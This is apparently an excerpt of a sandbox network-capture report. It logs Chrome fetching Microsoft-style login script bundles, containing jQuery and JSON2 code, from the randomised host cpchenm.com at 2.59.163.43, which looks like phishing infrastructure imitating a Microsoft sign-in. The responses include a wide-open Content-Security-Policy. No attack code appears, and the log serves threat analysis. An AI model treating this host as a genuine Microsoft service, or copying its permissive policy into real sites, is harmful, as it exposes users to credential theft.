63 61 6c 6c 28 65 2c 6e 29 26 26 74 28 6e 2c 65 5b 6e 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 69 66 Data Ascii: ;r[n[n.length-1]]=t},S.L=function(e,t,n){e[t]=n},S.version="3.5.1",S.b("version",S.version),S.options={deferUpdates:!1,useOnlyNativeEvents:!1,foreachHidesDestroyed:!1},S.a=function(){function e(e,t){for(var n in e)o.call(e,n)&&t(n,e[n])}function t(e,t){if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49204	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:42 UTC	652	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" Origin: https://tvrceocprq.cpchenm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 16:29:42 UTC	1144	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:42 GMT Etag: 0x8D8DA1D997CA245 Last-Modified: Fri, 26 Feb 2021 06:13:13 GMT
2024-11-12 16:29:42 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 4c 6b 49 47 4d 2d 70 34 30 4a 63 38 71 4b 68 63 5a 47 61 79 63 71 37 6b 67 74 5f 2d 39 31 6f 77 57 66 59 43 63 6e 67 49 4f 46 51 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 34 32 5a 2d 31 35 34 38 37 39 39 39 64 38 37 62 38 62 37 6d 68 43 31 57 41 57 67 66 63 6e 30 30 30 30 30 30 30 30 67 67 30 30 30 30 30 30 30 30 73 63 64 66 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=LkIGM-p40Jc8qKhcZGaycq7kgt_-91owWfYCcngIOFQ; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162942Z-15487999d87b8b7mhC1WAWgfcn00000000gg00000000scdfX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:42 UTC	1962	IN	Data Raw: 31 64 33 36 30 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 Data Ascii: 1d360/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(
2024-11-12 16:29:42 UTC	559	IN	Data Raw: 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 53 2e 65 78 74 65 6e 64 3d 53 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: r t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments
2024-11-12 16:29:42 UTC	4716	IN	Data Raw: 7b 7d 2c 69 3d 21 31 2c 61 5b 74 5d 3d 53 2e 65 78 74 65 6e 64 28 6c 2c 6f 2c 72 29 29 3a 76 6f 69 64 20 30 21 3d 3d 72 26 26 28 61 5b 74 5d 3d 72 29 29 3b 72 65 74 75 72 6e 20 61 7d 2c 53 2e 65 78 74 65 6e 64 28 7b 65 78 70 61 6e 64 6f 3a 22 6a 51 75 65 72 79 22 2b 28 66 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2e 72 65 70 6c 61 63 65 28 2f 5c 44 2f 67 2c 22 22 29 2c 69 73 52 65 61 64 79 3a 21 30 2c 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 65 29 7d 2c 6e 6f 6f 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 Data Ascii: {},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"
2024-11-12 16:29:42 UTC	5895	IN	Data Raw: 20 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 Data Ascii: function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=nu
2024-11-12 16:29:42 UTC	7074	IN	Data Raw: 28 21 76 7c 7c 21 76 2e 74 65 73 74 28 74 29 29 29 74 72 79 7b 76 61 72 20 6e 3d 63 2e 63 61 6c 6c 28 65 2c 74 29 3b 69 66 28 6e 7c 7c 64 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 4d 61 74 63 68 7c 7c 65 2e 64 6f 63 75 6d 65 6e 74 26 26 31 31 21 3d 3d 65 2e 64 6f 63 75 6d 65 6e 74 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 65 29 7b 4e 28 74 2c 21 30 29 7d 72 65 74 75 72 6e 20 30 3c 73 65 28 74 2c 43 2c 6e 75 6c 6c 2c 5b 65 5d 29 2e 6c 65 6e 67 74 68 7d 2c 73 65 2e 63 6f 6e 74 61 69 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 21 3d 43 26 26 54 28 65 29 2c 79 28 65 2c 74 29 7d 2c 73 65 2e 61 74 74 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b Data Ascii: (!v\|\|!v.test(t)))try{var n=c.call(e,t);if(n\|\|d.disconnectedMatch\|\|e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument\|\|e)!=C&&T(e),y(e,t)},se.attr=function(e,t){
2024-11-12 16:29:43 UTC	8253	IN	Data Raw: 65 54 79 70 65 3f 5b 6e 5d 3a 6e 2c 5b 5d 29 2c 66 3d 21 64 7c 7c 21 65 26 26 68 3f 63 3a 54 65 28 63 2c 73 2c 64 2c 6e 2c 72 29 2c 70 3d 67 3f 79 7c 7c 28 65 3f 64 3a 6c 7c 7c 76 29 3f 5b 5d 3a 74 3a 66 3b 69 66 28 67 26 26 67 28 66 2c 70 2c 6e 2c 72 29 2c 76 29 7b 69 3d 54 65 28 70 2c 75 29 2c 76 28 69 2c 5b 5d 2c 6e 2c 72 29 2c 6f 3d 69 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 28 61 3d 69 5b 6f 5d 29 26 26 28 70 5b 75 5b 6f 5d 5d 3d 21 28 66 5b 75 5b 6f 5d 5d 3d 61 29 29 7d 69 66 28 65 29 7b 69 66 28 79 7c 7c 64 29 7b 69 66 28 79 29 7b 69 3d 5b 5d 2c 6f 3d 70 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 28 61 3d 70 5b 6f 5d 29 26 26 69 2e 70 75 73 68 28 66 5b 6f 5d 3d 61 29 3b 79 28 6e 75 6c 6c 2c 70 3d 5b 5d 2c 69 2c 72 29 7d 6f Data Ascii: eType?[n]:n,[]),f=!d\|\|!e&&h?c:Te(c,s,d,n,r),p=g?y\|\|(e?d:l\|\|v)?[]:t:f;if(g&&g(f,p,n,r),v){i=Te(p,u),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(y\|\|d){if(y){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);y(null,p=[],i,r)}o
2024-11-12 16:29:43 UTC	9432	IN	Data Raw: 61 26 26 28 73 3d 74 3f 5b 5d 3a 22 22 29 7d 2c 66 3d 7b 61 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 26 26 28 74 26 26 21 69 26 26 28 6c 3d 73 2e 6c 65 6e 67 74 68 2d 31 2c 75 2e 70 75 73 68 28 74 29 29 2c 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 53 2e 65 61 63 68 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6d 28 74 29 3f 72 2e 75 6e 69 71 75 65 26 26 66 2e 68 61 73 28 74 29 7c 7c 73 2e 70 75 73 68 28 74 29 3a 74 26 26 74 2e 6c 65 6e 67 74 68 26 26 22 73 74 72 69 6e 67 22 21 3d 3d 77 28 74 29 26 26 6e 28 74 29 7d 29 7d 28 61 72 67 75 6d 65 6e 74 73 29 2c 74 26 26 21 69 26 26 63 28 29 29 2c 74 68 69 73 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 61 72 67 75 6d 65 6e Data Ascii: a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){S.each(e,function(e,t){m(t)?r.unique&&f.has(t)\|\|s.push(t):t&&t.length&&"string"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return S.each(argumen
2024-11-12 16:29:43 UTC	10611	IN	Data Raw: 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 28 66 65 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 72 61 64 69 6f 22 29 2c 66 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 63 68 65 63 6b 65 64 22 2c 22 63 68 65 63 6b 65 64 22 29 2c 66 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 74 22 29 2c 63 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 66 65 29 2c 79 2e 63 68 65 63 6b 43 6c 6f 6e 65 3d 63 65 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 2e 6c 61 73 74 43 68 69 6c 64 2e 63 68 65 63 6b 65 64 2c 63 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 74 65 78 74 61 72 65 61 3e 78 3c 2f 74 65 Data Ascii: reateElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="<textarea>x</te
2024-11-12 16:29:43 UTC	11790	IN	Data Raw: 26 26 22 6d 6f 64 75 6c 65 22 21 3d 3d 28 75 2e 74 79 70 65 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3f 53 2e 5f 65 76 61 6c 55 72 6c 26 26 21 75 2e 6e 6f 4d 6f 64 75 6c 65 26 26 53 2e 5f 65 76 61 6c 55 72 6c 28 75 2e 73 72 63 2c 7b 6e 6f 6e 63 65 3a 75 2e 6e 6f 6e 63 65 7c 7c 75 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 29 7d 2c 6c 29 3a 62 28 75 2e 74 65 78 74 43 6f 6e 74 65 6e 74 2e 72 65 70 6c 61 63 65 28 6a 65 2c 22 22 29 2c 75 2c 6c 29 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 2c 69 3d 74 3f 53 2e 66 69 6c 74 65 72 28 74 2c 65 29 3a 65 2c 6f 3d 30 3b 6e 75 6c 6c 21 3d 28 72 3d 69 5b 6f 5d 29 3b 6f 2b 2b 29 6e 7c 7c 31 21 3d 3d 72 2e 6e 6f Data Ascii: &&"module"!==(u.type\|\|"").toLowerCase()?S._evalUrl&&!u.noModule&&S._evalUrl(u.src,{nonce:u.nonce\|\|u.getAttribute("nonce")},l):b(u.textContent.replace(je,""),u,l))}return n}function Re(e,t,n){for(var r,i=t?S.filter(t,e):e,o=0;null!=(r=i[o]);o++)n\|\|1!==r.no

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49206	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:45 UTC	641	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" Origin: https://tvrceocprq.cpchenm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 16:29:46 UTC	1144	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:46 GMT Etag: 0x8D876CB1D67B929 Last-Modified: Thu, 22 Oct 2020 20:43:21 GMT
2024-11-12 16:29:46 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 4a 76 4b 67 73 72 39 76 75 59 2d 33 2d 4d 57 45 43 68 5a 59 58 4e 30 69 67 77 73 36 4d 31 59 31 73 2d 57 59 45 7a 54 4a 41 53 49 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 34 36 5a 2d 31 35 34 38 37 39 39 39 64 38 37 62 38 62 37 6d 68 43 31 57 41 57 67 66 63 6e 30 30 30 30 30 30 30 30 67 67 30 30 30 30 30 30 30 30 73 63 76 79 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=JvKgsr9vuY-3-MWEChZYXN0igws6M1Y1s-WYEzTJASI; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162946Z-15487999d87b8b7mhC1WAWgfcn00000000gg00000000scvyX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:46 UTC	1962	IN	Data Raw: 32 65 63 32 0d 0a 2f 2a 21 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 Data Ascii: 2ec2/*! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and
2024-11-12 16:29:46 UTC	559	IN	Data Raw: 70 5b 72 5d 26 26 28 6e 3d 72 65 70 5b 72 5d 2c 28 6f 3d 73 74 72 28 6e 2c 73 29 29 26 26 75 2e 70 75 73 68 28 71 75 6f 74 65 28 6e 29 2b 28 67 61 70 3f 22 3a 20 22 3a 22 3a 22 29 2b 6f 29 29 7d 7d 65 6c 73 65 7b 66 6f 72 28 6e 20 69 6e 20 73 29 7b 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 73 2c 6e 29 26 26 28 6f 3d 73 74 72 28 6e 2c 73 29 29 26 26 75 2e 70 75 73 68 28 71 75 6f 74 65 28 6e 29 2b 28 67 61 70 3f 22 3a 20 22 3a 22 3a 22 29 2b 6f 29 7d 7d 72 65 74 75 72 6e 20 6f 3d 30 3d 3d 3d 75 2e 6c 65 6e 67 74 68 3f 22 7b 7d 22 3a 67 61 70 3f 22 7b 5c 6e 22 2b 67 61 70 2b 75 2e 6a 6f 69 6e 28 22 2c 5c 6e 22 2b 67 61 70 29 2b 22 5c 6e 22 2b 61 2b 22 7d 22 3a 22 7b 22 2b 75 2e 6a 6f 69 6e Data Ascii: p[r]&&(n=rep[r],(o=str(n,s))&&u.push(quote(n)+(gap?": ":":")+o))}}else{for(n in s){Object.prototype.hasOwnProperty.call(s,n)&&(o=str(n,s))&&u.push(quote(n)+(gap?": ":":")+o)}}return o=0===u.length?"{}":gap?"{\n"+gap+u.join(",\n"+gap)+"\n"+a+"}":"{"+u.join
2024-11-12 16:29:46 UTC	4716	IN	Data Raw: 30 32 66 5c 75 32 30 36 30 2d 5c 75 32 30 36 66 5c 75 66 65 66 66 5c 75 66 66 66 30 2d 5c 75 66 66 66 66 5d 2f 67 2c 72 78 5f 64 61 6e 67 65 72 6f 75 73 3d 2f 5b 5c 75 30 30 30 30 5c 75 30 30 61 64 5c 75 30 36 30 30 2d 5c 75 30 36 30 34 5c 75 30 37 30 66 5c 75 31 37 62 34 5c 75 31 37 62 35 5c 75 32 30 30 63 2d 5c 75 32 30 30 66 5c 75 32 30 32 38 2d 5c 75 32 30 32 66 5c 75 32 30 36 30 2d 5c 75 32 30 36 66 5c 75 66 65 66 66 5c 75 66 66 66 30 2d 5c 75 66 66 66 66 5d 2f 67 0a 3b 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 44 61 74 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 4a 53 4f 4e 26 26 28 44 61 74 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 4a 53 4f 4e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 73 46 69 6e 69 74 65 28 74 68 69 Data Ascii: 02f\u2060-\u206f\ufeff\ufff0-\uffff]/g,rx_dangerous=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;"function"!=typeof Date.prototype.toJSON&&(Date.prototype.toJSON=function(){return isFinite(thi
2024-11-12 16:29:46 UTC	4739	IN	Data Raw: 2d 20 50 72 6f 76 69 64 65 20 61 72 67 75 6d 65 6e 74 20 61 74 20 69 6e 64 65 78 20 22 2b 65 2e 72 65 70 6c 61 63 65 28 66 2c 22 22 29 29 2c 6e 75 6c 6c 3d 3d 3d 72 26 26 28 72 3d 22 22 29 2c 72 7d 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 70 6c 61 63 65 28 63 2c 65 29 7d 3b 76 61 72 20 70 3d 2f 5b 5e 5c 77 2e 2c 2d 5d 2f 67 3b 73 2e 65 6e 63 6f 64 65 58 6d 6c 41 74 74 72 69 62 75 74 65 3d 73 2e 65 6e 63 6f 64 65 48 74 6d 6c 41 74 74 72 69 62 75 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 70 6c 61 63 65 28 70 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 5b 22 26 23 22 2c 65 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 22 3b 22 5d 2e 6a 6f 69 6e 28 22 22 29 Data Ascii: - Provide argument at index "+e.replace(f,"")),null===r&&(r=""),r}var t=arguments;return this.replace(c,e)};var p=/[^\w.,-]/g;s.encodeXmlAttribute=s.encodeHtmlAttribute=function(){return this.replace(p,function(e){return["&#",e.charCodeAt(0),";"].join("")
2024-11-12 16:29:46 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49207	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:45 UTC	493	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
